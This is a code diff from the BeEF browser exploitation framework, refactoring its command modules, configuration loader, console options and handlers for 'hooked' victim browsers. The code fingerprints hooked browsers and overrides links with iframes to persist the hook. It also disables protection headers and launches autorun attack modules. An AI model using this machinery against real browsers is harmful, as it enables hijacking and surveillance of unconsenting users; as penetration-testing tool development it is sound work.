@@ -82,7 +82,7 @@ beef.session = {
|
||||
/**
|
||||
* Overrides each link, and creates an iframe (loading the href) instead of following the link
|
||||
*/
|
||||
persistant: function() {
|
||||
persistent: function() {
|
||||
$j('a').click(function(e) {
|
||||
if ($j(this).attr('href') != '')
|
||||
{
|
||||
|
||||
@@ -15,208 +15,202 @@
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Core
|
||||
|
||||
# @note This module contains a list of utils functions to use when writing commands
|
||||
module CommandUtils
|
||||
|
||||
# Format a string to support multiline in javascript.
|
||||
# @param [String] text String to convert
|
||||
# @return [String] Formatted string
|
||||
def format_multiline(text); text.gsub(/\n/, '\n'); end
|
||||
|
||||
end
|
||||
# @note This module contains a list of utils functions to use when writing commands
|
||||
module CommandUtils
|
||||
|
||||
# Format a string to support multiline in javascript.
|
||||
# @param [String] text String to convert
|
||||
# @return [String] Formatted string
|
||||
def format_multiline(text); text.gsub(/\n/, '\n'); end
|
||||
|
||||
|
||||
# @note The Command Module Context is being used when evaluating code in eruby.
|
||||
# In other words, we use that code to add funky functions to the
|
||||
# javascript templates of our commands.
|
||||
class CommandContext < Erubis::Context
|
||||
include BeEF::Core::CommandUtils
|
||||
|
||||
# Constructor
|
||||
# @param [Hash] hash
|
||||
def initialize(hash=nil);
|
||||
super(hash);
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# @note This class is the base class for all command modules in the framework.
|
||||
# Two instances of this object are created during the execution of command module.
|
||||
class Command
|
||||
|
||||
attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname
|
||||
attr_accessor :zombie, :command_id, :session_id
|
||||
|
||||
include BeEF::Core::CommandUtils
|
||||
include BeEF::Core::Constants::Browsers
|
||||
include BeEF::Core::Constants::CommandModule
|
||||
|
||||
# Super class controller
|
||||
# @param [String] key command module key
|
||||
def initialize(key)
|
||||
get_extensions
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
@key = key
|
||||
@datastore = {}
|
||||
@friendlyname = config.get("beef.module.#{key}.name")
|
||||
@output = ''
|
||||
@path = config.get("beef.module.#{key}.path")
|
||||
@default_command_url = config.get("beef.module.#{key}.mount")
|
||||
@id = config.get("beef.module.#{key}.db.id")
|
||||
@auto_update_zombie = false
|
||||
@results = {}
|
||||
@beefjs_components = {}
|
||||
end
|
||||
|
||||
# Uses the API to include all the code from extensions that need to add methods, constants etc to that class.
|
||||
# @todo Determine if this method is deprecated
|
||||
def get_extensions
|
||||
BeEF::API::Command.extended_in_modules.each do |mod|
|
||||
self.class.send(:include, mod)
|
||||
|
||||
# @note The Command Module Context is being used when evaluating code in eruby.
|
||||
# In other words, we use that code to add funky functions to the
|
||||
# javascript templates of our commands.
|
||||
class CommandContext < Erubis::Context
|
||||
include BeEF::Core::CommandUtils
|
||||
|
||||
# Constructor
|
||||
# @param [Hash] hash
|
||||
def initialize(hash=nil);
|
||||
super(hash);
|
||||
end
|
||||
end
|
||||
|
||||
# This function is called just before the instructions are sent to hooked browser.
|
||||
def pre_send; end
|
||||
|
||||
# Callback method. This function is called when the hooked browser sends results back.
|
||||
def callback; end
|
||||
|
||||
# If the command requires some data to be sent back, this function will process them.
|
||||
# @param [] head
|
||||
# @param [Hash] params Hash of parameters
|
||||
# @todo Determine argument "head" type
|
||||
def process_zombie_response(head, params); end
|
||||
|
||||
# Returns true if the command needs configurations to work. False if not.
|
||||
# @deprecated This command should not be used since the implementation of the new configuration system
|
||||
def needs_configuration?; !@datastore.nil?; end
|
||||
|
||||
# Returns information about the command in a JSON format.
|
||||
# @return [String] JSON formatted string
|
||||
def to_json
|
||||
{
|
||||
'Name' => @friendlyname,
|
||||
'Description' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.description"),
|
||||
'Category' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.category"),
|
||||
'Data' => BeEF::Module.get_options(@key)
|
||||
}.to_json
|
||||
end
|
||||
|
||||
# Builds the 'datastore' attribute of the command which is used to generate javascript code.
|
||||
# @param [Hash] data Data to be inserted into the datastore
|
||||
# @todo Confirm argument "data" type
|
||||
def build_datastore(data);
|
||||
@datastore = JSON.parse(data)
|
||||
end
|
||||
|
||||
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
|
||||
# @param [Hash] http_params HTTP parameters
|
||||
# @param [Hash] http_headers HTTP headers
|
||||
def build_callback_datastore(http_params, http_headers)
|
||||
@datastore = {'http_headers' => {}} # init the datastore
|
||||
|
||||
# get, check and add the http_params to the datastore
|
||||
http_params.keys.each { |http_params_key|
|
||||
(print_error 'http_params_key is invalid';return) if not BeEF::Filters.is_valid_command_module_datastore_key?(http_params_key)
|
||||
http_params_value = Erubis::XmlHelper.escape_xml(http_params[http_params_key])
|
||||
(print_error 'http_params_value is invalid';return) if not BeEF::Filters.is_valid_command_module_datastore_param?(http_params_value)
|
||||
@datastore[http_params_key] = http_params_value # add the checked key and value to the datastore
|
||||
}
|
||||
|
||||
# get, check and add the http_headers to the datastore
|
||||
http_headers.keys.each { |http_header_key|
|
||||
(print_error 'http_header_key is invalid';return) if not BeEF::Filters.is_valid_command_module_datastore_key?(http_header_key)
|
||||
http_header_value = Erubis::XmlHelper.escape_xml(http_headers[http_header_key][0])
|
||||
(print_error 'http_header_value is invalid';return) if not BeEF::Filters.is_valid_command_module_datastore_param?(http_header_value)
|
||||
@datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore
|
||||
}
|
||||
end
|
||||
|
||||
# Returns the output of the command. These are the actual instructions sent to the browser.
|
||||
# @return [String] The command output
|
||||
def output
|
||||
|
||||
# @note This class is the base class for all command modules in the framework.
|
||||
# Two instances of this object are created during the execution of command module.
|
||||
class Command
|
||||
|
||||
attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname
|
||||
attr_accessor :zombie, :command_id, :session_id
|
||||
|
||||
include BeEF::Core::CommandUtils
|
||||
include BeEF::Core::Constants::Browsers
|
||||
include BeEF::Core::Constants::CommandModule
|
||||
|
||||
# Super class controller
|
||||
# @param [String] key command module key
|
||||
def initialize(key)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
@key = key
|
||||
@datastore = {}
|
||||
@friendlyname = config.get("beef.module.#{key}.name")
|
||||
@output = ''
|
||||
@path = config.get("beef.module.#{key}.path")
|
||||
@default_command_url = config.get("beef.module.#{key}.mount")
|
||||
@id = config.get("beef.module.#{key}.db.id")
|
||||
@auto_update_zombie = false
|
||||
@results = {}
|
||||
@beefjs_components = {}
|
||||
end
|
||||
|
||||
# This function is called just before the instructions are sent to hooked browser.
|
||||
def pre_send; end
|
||||
|
||||
# Callback method. This function is called when the hooked browser sends results back.
|
||||
def callback; end
|
||||
|
||||
# If the command requires some data to be sent back, this function will process them.
|
||||
# @param [] head
|
||||
# @param [Hash] params Hash of parameters
|
||||
# @todo Determine argument "head" type
|
||||
def process_zombie_response(head, params); end
|
||||
|
||||
# Returns true if the command needs configurations to work. False if not.
|
||||
# @deprecated This command should not be used since the implementation of the new configuration system
|
||||
def needs_configuration?; !@datastore.nil?; end
|
||||
|
||||
# Returns information about the command in a JSON format.
|
||||
# @return [String] JSON formatted string
|
||||
def to_json
|
||||
{
|
||||
'Name' => @friendlyname,
|
||||
'Description' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.description"),
|
||||
'Category' => BeEF::Core::Configuration.instance.get("beef.module.#{@key}.category"),
|
||||
'Data' => BeEF::Module.get_options(@key)
|
||||
}.to_json
|
||||
end
|
||||
|
||||
# Builds the 'datastore' attribute of the command which is used to generate javascript code.
|
||||
# @param [Hash] data Data to be inserted into the datastore
|
||||
# @todo Confirm argument "data" type
|
||||
def build_datastore(data);
|
||||
@datastore = JSON.parse(data)
|
||||
end
|
||||
|
||||
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
|
||||
# @param [Hash] http_params HTTP parameters
|
||||
# @param [Hash] http_headers HTTP headers
|
||||
def build_callback_datastore(http_params, http_headers, result, command_id, beefhook)
|
||||
@datastore = {'http_headers' => {}} # init the datastore
|
||||
|
||||
# get, check and add the http_params to the datastore
|
||||
http_params.keys.each { |http_params_key|
|
||||
(print_error 'http_params_key is invalid';return) if not BeEF::Filters.is_valid_command_module_datastore_key?(http_params_key)
|
||||
http_params_value = Erubis::XmlHelper.escape_xml(http_params[http_params_key])
|
||||
(print_error 'http_params_value is invalid';return) if not BeEF::Filters.is_valid_command_module_datastore_param?(http_params_value)
|
||||
@datastore[http_params_key] = http_params_value # add the checked key and value to the datastore
|
||||
}
|
||||
|
||||
# get, check and add the http_headers to the datastore
|
||||
http_headers.keys.each { |http_header_key|
|
||||
(print_error 'http_header_key is invalid';return) if not BeEF::Filters.is_valid_command_module_datastore_key?(http_header_key)
|
||||
http_header_value = Erubis::XmlHelper.escape_xml(http_headers[http_header_key][0])
|
||||
(print_error 'http_header_value is invalid';return) if not BeEF::Filters.is_valid_command_module_datastore_param?(http_header_value)
|
||||
@datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore
|
||||
}
|
||||
@datastore['results'] = result
|
||||
@datastore['cid'] = command_id
|
||||
@datastore['beefhook'] = beefhook
|
||||
end
|
||||
|
||||
# Returns the output of the command. These are the actual instructions sent to the browser.
|
||||
# @return [String] The command output
|
||||
def output
|
||||
f = @path+'command.js'
|
||||
(print_error "#{f} file does not exist";return) if not File.exists? f
|
||||
|
||||
command = BeEF::Core::Models::Command.first(:id => @command_id)
|
||||
|
||||
@eruby = Erubis::FastEruby.new(File.read(f))
|
||||
|
||||
@eruby = Erubis::FastEruby.new(File.read(f))
|
||||
|
||||
data = BeEF::Core::Configuration.instance.get("beef.module.#{@key}")
|
||||
cc = BeEF::Core::CommandContext.new
|
||||
cc['command_url'] = @default_command_url
|
||||
cc['command_id'] = @command_id
|
||||
JSON.parse(command['data']).each{|v|
|
||||
cc[v['name']] = v['value']
|
||||
cc[v['name']] = v['value']
|
||||
}
|
||||
if self.respond_to?(:execute)
|
||||
self.execute
|
||||
self.execute
|
||||
end
|
||||
@output = @eruby.evaluate(cc)
|
||||
|
||||
@output
|
||||
end
|
||||
|
||||
# Saves the results received from the hooked browser
|
||||
# @param [Hash] results Results from hooked browser
|
||||
def save(results)
|
||||
@results = results
|
||||
end
|
||||
|
||||
# If nothing else than the file is specified, the function will map the file to a random path without any extension.
|
||||
# @param [String] file File to be mounted
|
||||
# @param [String] path URL path to mounted file
|
||||
# @param [String] extension URL extension
|
||||
# @param [Integer] count The amount of times this file can be accessed before being automatically unmounted
|
||||
# @deprecated This function is possibly deprecated in place of the API
|
||||
def map_file_to_url(file, path=nil, extension=nil, count=1)
|
||||
return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
|
||||
end
|
||||
|
||||
# Tells the framework to load a specific module of the BeEFJS library that the command will be using.
|
||||
# @param [String] component String of BeEFJS component to load
|
||||
# @note Example: use 'beef.net.local'
|
||||
def use(component)
|
||||
return if @beefjs_components.include? component
|
||||
|
||||
component_path = '/'+component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
|
||||
|
||||
raise "Invalid beefjs component for command module #{@path}" if not File.exists?(component_path)
|
||||
|
||||
@beefjs_components[component] = component_path
|
||||
end
|
||||
@output
|
||||
end
|
||||
|
||||
# @todo Document
|
||||
def oc_value(name)
|
||||
# Saves the results received from the hooked browser
|
||||
# @param [Hash] results Results from hooked browser
|
||||
def save(results)
|
||||
@results = results
|
||||
end
|
||||
|
||||
# If nothing else than the file is specified, the function will map the file to a random path without any extension.
|
||||
# @param [String] file File to be mounted
|
||||
# @param [String] path URL path to mounted file
|
||||
# @param [String] extension URL extension
|
||||
# @param [Integer] count The amount of times this file can be accessed before being automatically unmounted
|
||||
# @deprecated This function is possibly deprecated in place of the API
|
||||
def map_file_to_url(file, path=nil, extension=nil, count=1)
|
||||
return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
|
||||
end
|
||||
|
||||
# Tells the framework to load a specific module of the BeEFJS library that the command will be using.
|
||||
# @param [String] component String of BeEFJS component to load
|
||||
# @note Example: use 'beef.net.local'
|
||||
def use(component)
|
||||
return if @beefjs_components.include? component
|
||||
|
||||
component_path = '/'+component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
|
||||
|
||||
raise "Invalid beefjs component for command module #{@path}" if not File.exists?(component_path)
|
||||
|
||||
@beefjs_components[component] = component_path
|
||||
end
|
||||
|
||||
# @todo Document
|
||||
def oc_value(name)
|
||||
option = BeEF::Core::Models::OptionCache.first(:name => name)
|
||||
return nil if not option
|
||||
return option.value
|
||||
end
|
||||
return nil if not option
|
||||
return option.value
|
||||
end
|
||||
|
||||
# @todo Document
|
||||
def apply_defaults()
|
||||
@datastore.each { |opt|
|
||||
opt["value"] = oc_value(opt["name"]) || opt["value"]
|
||||
}
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@use_template
|
||||
@eruby
|
||||
@update_zombie
|
||||
@results
|
||||
|
||||
end
|
||||
|
||||
|
||||
# @todo Document
|
||||
def apply_defaults()
|
||||
@datastore.each { |opt|
|
||||
opt["value"] = oc_value(opt["name"]) || opt["value"]
|
||||
}
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@use_template
|
||||
@eruby
|
||||
@update_zombie
|
||||
@results
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -15,115 +15,122 @@
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Core
|
||||
|
||||
class Configuration
|
||||
|
||||
include Singleton
|
||||
|
||||
# Loads the default configuration system
|
||||
# @param [String] configuration_file Configuration file to be loaded, by default loads $root_dir/config.yaml
|
||||
def initialize(configuration_file="#{$root_dir}/config.yaml")
|
||||
# argument type checking
|
||||
raise Exception::TypeError, '"configuration_file" needs to be a string' if not configuration_file.string?
|
||||
# test to make sure file exists
|
||||
raise Exception::TypeError, 'Configuration yaml cannot be found' if not File.exist?(configuration_file)
|
||||
begin
|
||||
#open base config
|
||||
@config = self.load(configuration_file)
|
||||
# set default value if key? does not exist
|
||||
@config.default = nil
|
||||
rescue Exception => e
|
||||
print_error "Fatal Error: cannot load configuration file"
|
||||
print_debug e
|
||||
class Configuration
|
||||
|
||||
attr_accessor :config
|
||||
|
||||
# antisnatchor: still a singleton, but implemented by hand because we want to have only one instance
|
||||
# of the Configuration object while having the possibility to specify a parameter to the constructor.
|
||||
# This is why we don't use anymore the default Ruby implementation -> include Singleton
|
||||
def self.instance()
|
||||
return @@instance
|
||||
end
|
||||
end
|
||||
|
||||
# Loads yaml file
|
||||
# @param [String] file YAML file to be loaded
|
||||
# @return [Hash] YAML formatted hash
|
||||
def load(file)
|
||||
begin
|
||||
return nil if not File.exists?(file)
|
||||
raw = File.read(file)
|
||||
return YAML.load(raw)
|
||||
rescue Exception => e
|
||||
print_debug "Unable to load '#{file}' #{e}"
|
||||
return nil
|
||||
# Loads the default configuration system
|
||||
# @param [String] configuration_file Configuration file to be loaded, by default loads $root_dir/config.yaml
|
||||
def initialize(config)
|
||||
raise Exception::TypeError, '"config" needs to be a string' if not config.string?
|
||||
raise Exception::TypeError, 'Configuration yaml cannot be found' if not File.exist?(config)
|
||||
begin
|
||||
#open base config
|
||||
@config = self.load(config)
|
||||
# set default value if key? does not exist
|
||||
@config.default = nil
|
||||
@@config = config
|
||||
rescue Exception => e
|
||||
print_error "Fatal Error: cannot load configuration file"
|
||||
print_debug e
|
||||
end
|
||||
@@instance = self
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the value of a selected key in the configuration file.
|
||||
# @param [String] key Key of configuration item
|
||||
# @return [Hash|String] The resulting value stored against the 'key'
|
||||
def get(key)
|
||||
# Loads yaml file
|
||||
# @param [String] file YAML file to be loaded
|
||||
# @return [Hash] YAML formatted hash
|
||||
def load(file)
|
||||
begin
|
||||
return nil if not File.exists?(file)
|
||||
raw = File.read(file)
|
||||
return YAML.load(raw)
|
||||
rescue Exception => e
|
||||
print_debug "Unable to load '#{file}' #{e}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the value of a selected key in the configuration file.
|
||||
# @param [String] key Key of configuration item
|
||||
# @return [Hash|String] The resulting value stored against the 'key'
|
||||
def get(key)
|
||||
subkeys = key.split('.')
|
||||
lastkey = subkeys.pop
|
||||
subhash = subkeys.inject(@config) do |hash, k|
|
||||
hash[k]
|
||||
hash[k]
|
||||
end
|
||||
return (subhash != nil and subhash.has_key?(lastkey)) ? subhash[lastkey] : nil
|
||||
end
|
||||
return (subhash != nil and subhash.has_key?(lastkey)) ? subhash[lastkey] : nil
|
||||
end
|
||||
|
||||
# Sets the give key value pair to the config instance
|
||||
# @param [String] key The configuration key
|
||||
# @param value The value to be stored against the 'key'
|
||||
# @return [Boolean] If the store procedure was successful
|
||||
def set(key, value)
|
||||
# Sets the give key value pair to the config instance
|
||||
# @param [String] key The configuration key
|
||||
# @param value The value to be stored against the 'key'
|
||||
# @return [Boolean] If the store procedure was successful
|
||||
def set(key, value)
|
||||
subkeys = key.split('.').reverse
|
||||
return false if subkeys.length == 0
|
||||
hash = {subkeys.shift.to_s => value}
|
||||
subkeys.each{|v|
|
||||
hash = {v.to_s => hash}
|
||||
hash = {v.to_s => hash}
|
||||
}
|
||||
@config = @config.deep_merge(hash)
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
# Clears the given key hash
|
||||
# @param [String] key Configuration key to be cleared
|
||||
# @return [Boolean] If the configuration key was cleared
|
||||
def clear(key)
|
||||
# Clears the given key hash
|
||||
# @param [String] key Configuration key to be cleared
|
||||
# @return [Boolean] If the configuration key was cleared
|
||||
def clear(key)
|
||||
subkeys = key.split('.')
|
||||
return false if subkeys.length == 0
|
||||
lastkey = subkeys.pop
|
||||
hash = @config
|
||||
subkeys.each{|v|
|
||||
hash = hash[v]
|
||||
hash = hash[v]
|
||||
}
|
||||
return (hash.delete(lastkey) == nil) ? false : true
|
||||
end
|
||||
return (hash.delete(lastkey) == nil) ? false : true
|
||||
end
|
||||
|
||||
# Load extensions configurations
|
||||
def load_extensions_config
|
||||
# Load extensions configurations
|
||||
def load_extensions_config
|
||||
self.set('beef.extension', {})
|
||||
Dir.glob("#{$root_dir}/extensions/*/config.yaml") do | cf |
|
||||
y = self.load(cf)
|
||||
if y != nil
|
||||
y['beef']['extension'][y['beef']['extension'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(/#{$root_dir}\//, '')
|
||||
@config = y.deep_merge(@config)
|
||||
else
|
||||
print_error "Unable to load extension configuration '#{cf}'"
|
||||
end
|
||||
y = self.load(cf)
|
||||
if y != nil
|
||||
y['beef']['extension'][y['beef']['extension'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(/#{$root_dir}\//, '')
|
||||
@config = y.deep_merge(@config)
|
||||
else
|
||||
print_error "Unable to load extension configuration '#{cf}'"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Load module configurations
|
||||
def load_modules_config
|
||||
# Load module configurations
|
||||
def load_modules_config
|
||||
self.set('beef.module', {})
|
||||
Dir.glob("#{$root_dir}/modules/**/*/config.yaml") do | cf |
|
||||
y = self.load(cf)
|
||||
if y != nil
|
||||
y['beef']['module'][y['beef']['module'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(/#{$root_dir}\//, '')
|
||||
@config = y.deep_merge(@config)
|
||||
# API call for post module config load
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Configuration, 'module_configuration_load', y['beef']['module'].keys.first)
|
||||
else
|
||||
print_error "Unable to load module configuration '#{cf}'"
|
||||
end
|
||||
y = self.load(cf)
|
||||
if y != nil
|
||||
y['beef']['module'][y['beef']['module'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(/#{$root_dir}\//, '')
|
||||
@config = y.deep_merge(@config)
|
||||
# API call for post module config load
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Configuration, 'module_configuration_load', y['beef']['module'].keys.first)
|
||||
else
|
||||
print_error "Unable to load module configuration '#{cf}'"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Core
|
||||
module Console
|
||||
|
||||
module Banners
|
||||
@@ -25,8 +25,8 @@ module Banners
|
||||
# Prints BeEF's ascii art
|
||||
#
|
||||
def print_ascii_art
|
||||
if File.exists?('extensions/console/beef.ascii')
|
||||
File.open('extensions/console/beef.ascii', 'r') do |f|
|
||||
if File.exists?('core/main/console/beef.ascii')
|
||||
File.open('core/main/console/beef.ascii', 'r') do |f|
|
||||
while line = f.gets
|
||||
puts line
|
||||
end
|
||||
@@ -14,7 +14,7 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Core
|
||||
module Console
|
||||
#
|
||||
# This module parses the command line argument when running beef.
|
||||
@@ -24,6 +24,8 @@ module BeEF
|
||||
@options = Hash.new
|
||||
@options[:verbose] = false
|
||||
@options[:resetdb] = false
|
||||
@options[:ascii_art] = false
|
||||
@options[:ext_config] = ""
|
||||
|
||||
@already_parsed = false
|
||||
|
||||
@@ -35,19 +37,27 @@ module BeEF
|
||||
return @options if @already_parsed
|
||||
|
||||
begin
|
||||
optparse = OptionParser.new do |opts|
|
||||
opts.on('-x', '--reset', 'Reset the database') do
|
||||
@options[:resetdb] = true
|
||||
optparse = OptionParser.new do |opts|
|
||||
opts.on('-x', '--reset', 'Reset the database') do
|
||||
@options[:resetdb] = true
|
||||
end
|
||||
|
||||
opts.on('-v', '--verbose', 'Display debug information') do
|
||||
@options[:verbose] = true
|
||||
end
|
||||
|
||||
opts.on('-a', '--ascii_art', 'Prints BeEF ascii art') do
|
||||
@options[:ascii_art] = true
|
||||
end
|
||||
|
||||
opts.on('-c', '--config FILE', 'Load a different configuration file: if it\'s called custom-config.yaml, git automatically ignores it.') do |f|
|
||||
@options[:ext_config] = f
|
||||
end
|
||||
end
|
||||
|
||||
opts.on('-v', '--verbose', 'Display debug information') do
|
||||
@options[:verbose] = true
|
||||
end
|
||||
end
|
||||
|
||||
optparse.parse!
|
||||
@already_parsed = true
|
||||
@options
|
||||
optparse.parse!
|
||||
@already_parsed = true
|
||||
@options
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "Invalid command line option provided. Please run beef --help"
|
||||
exit 1
|
||||
@@ -36,6 +36,19 @@ module Core
|
||||
# return random hex string
|
||||
return OpenSSL::Random.random_bytes(token_length).unpack("H*")[0]
|
||||
end
|
||||
|
||||
# Generate a secure random token, 20 chars, used as an auth token for the RESTful API.
|
||||
# After creation it's stored in the BeEF configuration object => conf.get('beef.api_token')
|
||||
# @return [String] Security token
|
||||
def self.api_token
|
||||
config = BeEF::Core::Configuration.instance
|
||||
token_length = 20
|
||||
|
||||
# return random hex string
|
||||
token = OpenSSL::Random.random_bytes(token_length).unpack("H*")[0]
|
||||
config.set('beef.api_token', token)
|
||||
token
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -14,18 +14,15 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Initialization
|
||||
|
||||
#
|
||||
# The http handler that manages the return of the initial browser details.
|
||||
#
|
||||
class Handler
|
||||
module Core
|
||||
module Handlers
|
||||
# @note Retrieves information about the browser (type, version, plugins etc.)
|
||||
class BrowserDetails
|
||||
|
||||
@data = {}
|
||||
|
||||
HB = BeEF::Core::Models::HookedBrowser
|
||||
BD = BeEF::Extension::Initialization::Models::BrowserDetails
|
||||
BD = BeEF::Core::Models::BrowserDetails
|
||||
|
||||
def initialize(data)
|
||||
@data = data
|
||||
@@ -33,7 +30,7 @@ module BeEF
|
||||
end
|
||||
|
||||
def err_msg(error)
|
||||
print_error "[INITIALIZATION] #{error}"
|
||||
print_error "[Browser Details] #{error}"
|
||||
end
|
||||
|
||||
def setup()
|
||||
@@ -81,7 +78,6 @@ module BeEF
|
||||
|
||||
# add a log entry for the newly hooked browser
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
|
||||
|
||||
# get and store browser name
|
||||
browser_name = get_param(@data['results'], 'BrowserName')
|
||||
if BeEF::Filters.is_valid_browsername?(browser_name)
|
||||
@@ -170,22 +166,6 @@ module BeEF
|
||||
self.err_msg "Invalid system platform returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the internal ip address
|
||||
internal_ip = get_param(@data['results'], 'InternalIP')
|
||||
if BeEF::Filters.is_valid_ip?(internal_ip)
|
||||
BD.set(session_id, 'InternalIP', internal_ip)
|
||||
else
|
||||
self.err_msg "Invalid internal IP address returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the internal hostname
|
||||
internal_hostname = get_param(@data['results'], 'InternalHostname')
|
||||
if BeEF::Filters.is_valid_hostname?(host_name)
|
||||
BD.set(session_id, 'InternalHostname', internal_hostname)
|
||||
else
|
||||
self.err_msg "Invalid internal hostname returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the hooked browser type
|
||||
browser_type = get_param(@data['results'], 'BrowserType')
|
||||
if BeEF::Filters.is_valid_browsertype?(browser_type)
|
||||
@@ -274,6 +254,10 @@ module BeEF
|
||||
self.err_msg "Invalid value for hasPersistentCookies returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# log a few info of newly hooked zombie in the console
|
||||
print_info "New Hooked Browser [ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
|
||||
|
||||
|
||||
# Call autorun modules
|
||||
autorun = []
|
||||
BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
|
||||
@@ -55,9 +55,11 @@ module Handlers
|
||||
beefhook = get_param(@data, 'beefhook')
|
||||
(print_error "BeEFhook is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
|
||||
|
||||
result = get_param(@data, 'results')
|
||||
|
||||
# @note create the command module to handle the response
|
||||
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
|
||||
command.build_callback_datastore(@http_params, @http_header)
|
||||
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
|
||||
command.session_id = beefhook
|
||||
if command.respond_to?(:post_execute)
|
||||
command.post_execute
|
||||
|
||||
@@ -18,42 +18,44 @@ module Core
|
||||
module Handlers
|
||||
|
||||
# @note This class handles connections from hooked browsers to the framework.
|
||||
class HookedBrowsers
|
||||
class HookedBrowsers < BeEF::Core::Router::Router
|
||||
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
include BeEF::Core::Handlers::Modules::Command
|
||||
|
||||
#antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.
|
||||
configure do
|
||||
disable :protection
|
||||
end
|
||||
|
||||
# Process HTTP requests sent by a hooked browser to the framework.
|
||||
# It will update the database to add or update the current hooked browser
|
||||
# and deploy some command modules or extensions to the hooked browser.
|
||||
def call(env)
|
||||
get '/' do
|
||||
@body = ''
|
||||
@request = Rack::Request.new(env)
|
||||
@params = @request.query_string
|
||||
@response = Rack::Response.new(body=[], 200, header={})
|
||||
@params = request.query_string
|
||||
#@response = Rack::Response.new(body=[], 200, header={})
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# @note check source ip address of browser
|
||||
permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
|
||||
target_network = IPAddr.new(permitted_hooking_subnet)
|
||||
if not target_network.include?(@request.ip)
|
||||
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{@request.ip}) rejected.")
|
||||
@response = Rack::Response.new(body=[], 500, header={})
|
||||
return
|
||||
if not target_network.include?(request.ip)
|
||||
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.ip}) rejected.")
|
||||
error 500
|
||||
end
|
||||
|
||||
# @note get zombie if already hooked the framework
|
||||
hook_session_name = config.get('beef.http.hook_session_name')
|
||||
hook_session_id = @request[hook_session_name]
|
||||
hook_session_id = request[hook_session_name]
|
||||
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) if not hook_session_id.nil?
|
||||
|
||||
# @note is a new browser so return instructions to set up the hook
|
||||
if not hooked_browser
|
||||
|
||||
# @note generate the instructions to hook the browser
|
||||
host_name = @request.host
|
||||
host_name = request.host
|
||||
(print_error "Invalid host name";return) if not BeEF::Filters.is_valid_hostname?(host_name)
|
||||
build_beefjs!(host_name)
|
||||
|
||||
@@ -63,9 +65,9 @@ module Handlers
|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
|
||||
# @note Check for a change in zombie IP and log an event
|
||||
if hooked_browser.ip != @request.ip
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{@request.ip}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = @request.ip
|
||||
if hooked_browser.ip != request.ip
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = request.ip
|
||||
end
|
||||
|
||||
hooked_browser.count!
|
||||
